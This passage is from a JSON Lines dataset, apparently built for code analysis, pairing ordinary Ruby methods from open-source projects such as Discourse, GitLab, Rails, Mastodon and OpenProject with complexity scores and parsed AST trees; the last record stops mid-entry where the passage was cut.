{"repo_name":"discourse","file_path":"./repos/discourse/spec/services/user_merger_spec.rb","start_line":734,"raw_source":"def log_got_private_message(acting_user, user, topic)\n      UserAction.log_action!(\n        action_type: UserAction::GOT_PRIVATE_MESSAGE,\n        user_id: user.id,\n        acting_user_id: acting_user.id,\n        target_topic_id: topic.id,\n        target_post_id: -1,\n      )\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_got_private_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"acting_user\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"log_action!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"GOT_PRIVATE_MESSAGE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"acting_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"acting_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_post_id\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]}","id":"cd52df31-b7b3-469f-8997-6efcb0793f01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/issuable_links.rb","start_line":8,"raw_source":"def create\n    result = create_service.execute\n\n    render json: { message: result[:message], issuables: issuables }, status: result[:http_status]\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_service\"]},\"execute\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuables\"]},{\"type\":\"send\",\"children\":[null,\"issuables\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"http_status\"]}]}]}]}]}]}]}","id":"785a04e8-4c05-4fac-b02d-2f0d22a5a3bb"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/queries/stats_query.rb","start_line":20,"raw_source":"def cached_points_geocoded_stats\n    sql = ActiveRecord::Base.sanitize_sql_array(\n      [\n        <<~SQL.squish,\n          SELECT\n            COUNT(reverse_geocoded_at) as geocoded,\n            COUNT(CASE WHEN geodata = '{}'::jsonb THEN 1 END) as without_data\n          FROM points\n          WHERE user_id = ?\n        SQL\n        user.id\n      ]\n    )\n\n    result = Point.connection.select_one(sql)\n\n    {\n      geocoded: result['geocoded'].to_i,\n      without_data: result['without_data'].to_i\n    }\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_points_geocoded_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"sanitize_sql_array\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  COUNT(reverse_geocoded_at) as geocoded,\\n\"]},{\"type\":\"str\",\"children\":[\"  COUNT(CASE WHEN geodata = '{}'::jsonb THEN 1 END) as without_data\\n\"]},{\"type\":\"str\",\"children\":[\"FROM points\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id = ?\\n\"]}]},\"squish\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Point\"]},\"connection\"]},\"select_one\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"geocoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"geocoded\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"without_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"without_data\"]}]},\"to_i\"]}]}]}]}]}","id":"d74bba2a-21d2-41a2-beee-617ff92713b1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":217,"raw_source":"def replica?\n        @config[:replica] || false\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"replica?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"replica\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"1566a567-d899-49e3-964d-ad84f4a3e743"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/receiver.rb","start_line":948,"raw_source":"def create_group_post(group, user, body, elided)\n      message_ids = Email::Receiver.extract_reply_message_ids(@mail, max_message_id_count: 5)\n\n      # Incoming emails with matching message ids, and then cross references\n      # these with any email addresses for the user vs to/from/cc of the\n      # incoming emails. in effect, any incoming email record for these\n      # message ids where the user is involved in any way will be returned.\n      incoming_emails = IncomingEmail.where(message_id: message_ids)\n      if !group.allow_unknown_sender_topic_replies\n        incoming_emails = incoming_emails.addressed_to_user(user)\n      end\n      post_ids = incoming_emails.pluck(:post_id) || []\n\n      # If the user is directly replying to an email send to them from discourse,\n      # there will be a corresponding EmailLog record, so we can use that as the\n      # reply post if it exists.\n      #\n      # Since In-Reply-To can technically have multiple message ids, we only\n      # consider the first one here to simplify things.\n      first_in_reply_to = Array.wrap(mail.in_reply_to).first\n      if Email::MessageIdService.discourse_generated_message_id?(first_in_reply_to)\n        post_id_from_email_log =\n          EmailLog\n            .where(message_id: first_in_reply_to)\n            .addressed_to_user(user)\n            .order(created_at: :desc)\n            .limit(1)\n            .pluck(:post_id)\n            .last\n        post_ids << post_id_from_email_log if post_id_from_email_log\n      end\n\n      target_post = post_ids.any? && Post.where(id: post_ids).order(:created_at).last\n      too_old_for_group_smtp = (destination_too_old?(target_post) && group.smtp_enabled)\n\n      if target_post.blank? || too_old_for_group_smtp\n        create_topic(\n          user: user,\n          raw: new_group_topic_body(body, target_post, too_old_for_group_smtp),\n          elided: elided,\n          title: subject,\n          archetype: Archetype.private_message,\n          target_group_names: [group.name],\n          is_group_message: true,\n          skip_validations: true,\n        )\n      else\n        # This must be done for the unknown user (who is staged) to\n        # be allowed to post a reply in the topic.\n        if group.allow_unknown_sender_topic_replies\n          target_post.topic.topic_allowed_users.find_or_create_by!(user_id: user.id)\n        end\n\n        create_reply(\n          user: user,\n          raw: body,\n          elided: elided,\n          post: target_post,\n          topic: target_post.topic,\n          skip_validations: true,\n        )\n      end\n    end","complexity_score":66.95,"ast_json":"{\"type\":\"def\",\"children\":[\"create_group_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"arg\",\"children\":[\"elided\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Receiver\"]},\"extract_reply_message_ids\",{\"type\":\"ivar\",\"children\":[\"@mail\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_message_id_count\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"incoming_emails\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IncomingEmail\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_id\"]},{\"type\":\"lvar\",\"children\":[\"message_ids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"allow_unknown_sender_topic_replies\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"incoming_emails\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incoming_emails\"]},\"addressed_to_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"post_ids\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incoming_emails\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_in_reply_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail\"]},\"in_reply_to\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"MessageIdService\"]},\"discourse_generated_message_id?\",{\"type\":\"lvar\",\"children\":[\"first_in_reply_to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_id_from_email_log\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailLog\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_id\"]},{\"type\":\"lvar\",\"children\":[\"first_in_reply_to\"]}]}]}]},\"addressed_to_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_id_from_email_log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_ids\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"post_id_from_email_log\"]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"target_post\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_ids\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"post_ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},\"last\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"too_old_for_group_smtp\",{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_too_old?\",{\"type\":\"lvar\",\"children\":[\"target_post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"smtp_enabled\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_post\"]},\"blank?\"]},{\"type\":\"lvar\",\"children\":[\"too_old_for_group_smtp\"]}]},{\"type\":\"send\",\"children\":[null,\"create_topic\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"new_group_topic_body\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"target_post\"]},{\"type\":\"lvar\",\"children\":[\"too_old_for_group_smtp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"elided\"]},{\"type\":\"lvar\",\"children\":[\"elided\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_group_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_group_message\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_validations\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"allow_unknown_sender_topic_replies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_post\"]},\"topic\"]},\"topic_allowed_users\"]},\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"create_reply\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"elided\"]},{\"type\":\"lvar\",\"children\":[\"elided\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"target_post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_post\"]},\"topic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_validations\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"d773b161-5ee0-4c3c-af03-f558b92c8d63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/metrics_server/metrics_server.rb","start_line":51,"raw_source":"def fork(target, metrics_dir:, wipe_metrics_dir: false, reset_signals: [])\n      ensure_valid_target!(target)\n\n      pid = Process.fork\n\n      if pid.nil? # nil means we're inside the fork\n        # Remove any custom signal handlers the parent process had registered, since we do\n        # not want to inherit them, and Ruby forks with a `clone` that has the `CLONE_SIGHAND`\n        # flag set.\n        Gitlab::ProcessManagement.modify_signals(reset_signals, 'DEFAULT')\n\n        server = MetricsServer.new(target, metrics_dir, wipe_metrics_dir)\n        # This rewrites /proc/cmdline, since otherwise tools like `top` will show the\n        # parent process `cmdline` which is really confusing.\n        $0 = server.name\n\n        server.start\n      else\n        Process.detach(pid)\n      end\n\n      pid\n    end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fork\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"kwarg\",\"children\":[\"metrics_dir\"]},{\"type\":\"kwoptarg\",\"children\":[\"wipe_metrics_dir\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"reset_signals\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_valid_target!\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"fork\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ProcessManagement\"]},\"modify_signals\",{\"type\":\"lvar\",\"children\":[\"reset_signals\"]},{\"type\":\"str\",\"children\":[\"DEFAULT\"]}]},{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MetricsServer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"metrics_dir\"]},{\"type\":\"lvar\",\"children\":[\"wipe_metrics_dir\"]}]}]},{\"type\":\"gvasgn\",\"children\":[\"$0\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"start\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"detach\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}","id":"fa9d0a87-7949-4435-9378-b17de00aebc3"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/models.rb","start_line":90,"raw_source":"def respond_to_missing?(method, include_private = false)\n        instance.respond_to?(method, include_private) || super\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"include_private\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"992544d1-e1a3-42b9-ae17-bba9e83436c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/create_service.rb","start_line":7,"raw_source":"def initialize(user = nil, params = {})\n      @current_user = user\n      @params = params.dup\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"dup\"]}]}]}]}","id":"3bf3a9fa-b577-4adc-b596-8c3296628657"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/work_package_collection_representer.rb","start_line":201,"raw_source":"def schemas_path\n          ids = schema_pairs.map do |project, type|\n            [project.id, type.id]\n          end\n\n          api_v3_paths.work_package_schemas(*ids)\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"schemas_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_pairs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"work_package_schemas\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}]}","id":"86cdab74-66dc-4c23-b709-7dd25c7cab6f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/account_policy.rb","start_line":32,"raw_source":"def unsensitive?\n    role.can?(:manage_users)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unsensitive?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_users\"]}]}]}","id":"dd2d9907-fc99-44ea-8dab-37475b41dcd0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/labels_helper.rb","start_line":215,"raw_source":"def render_label_link(label_html, link:, title:, dataset:)\n    classes = %w[gl-link gl-label-link]\n    dataset ||= {}\n\n    if title.present?\n      classes << 'has-tooltip'\n      dataset.merge!(html: true, title: title)\n    end\n\n    link_to(label_html, link, class: classes.join(' '), data: dataset)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_label_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label_html\"]},{\"type\":\"kwarg\",\"children\":[\"link\"]},{\"type\":\"kwarg\",\"children\":[\"title\"]},{\"type\":\"kwarg\",\"children\":[\"dataset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classes\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"gl-link\"]},{\"type\":\"str\",\"children\":[\"gl-label-link\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dataset\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"<<\",{\"type\":\"str\",\"children\":[\"has-tooltip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dataset\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"label_html\"]},{\"type\":\"lvar\",\"children\":[\"link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"dataset\"]}]}]}]}]}]}","id":"068d8f2c-488b-4793-ac45-d43dfa4351af"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/user_preferences/update_service.rb","start_line":51,"raw_source":"def after_perform(service_call)\n      return service_call if notifications.nil?\n\n      inserted = persist_notifications\n      remove_other_notifications(inserted)\n\n      service_call\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifications\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"inserted\",{\"type\":\"send\",\"children\":[null,\"persist_notifications\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_other_notifications\",{\"type\":\"lvar\",\"children\":[\"inserted\"]}]},{\"type\":\"lvar\",\"children\":[\"service_call\"]}]}]}","id":"d8e00035-b43a-477f-8413-32f899318f04"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/path_helper.rb","start_line":658,"raw_source":"def self.path_for(path, filters: nil, sort_by: nil, group_by: nil, page_size: nil, offset: nil,\n                            select: nil, timestamps: nil)\n            timestamps = timestamps_to_param_value(timestamps)\n\n            query_params = {\n              filters: filters&.to_json,\n              sortBy: sort_by&.to_json,\n              groupBy: group_by,\n              pageSize: page_size,\n              offset:,\n              select:,\n              timestamps:\n            }.compact_blank\n\n            if query_params.any?\n              \"#{send(path)}?#{query_params.to_query}\"\n            else\n              send(path)\n            end\n          end","complexity_score":16.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"filters\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort_by\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group_by\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"page_size\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"offset\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"select\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"timestamps\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timestamps\",{\"type\":\"send\",\"children\":[null,\"timestamps_to_param_value\",{\"type\":\"lvar\",\"children\":[\"timestamps\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_params\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sortBy\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_by\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"groupBy\"]},{\"type\":\"lvar\",\"children\":[\"group_by\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pageSize\"]},{\"type\":\"lvar\",\"children\":[\"page_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"select\"]},{\"type\":\"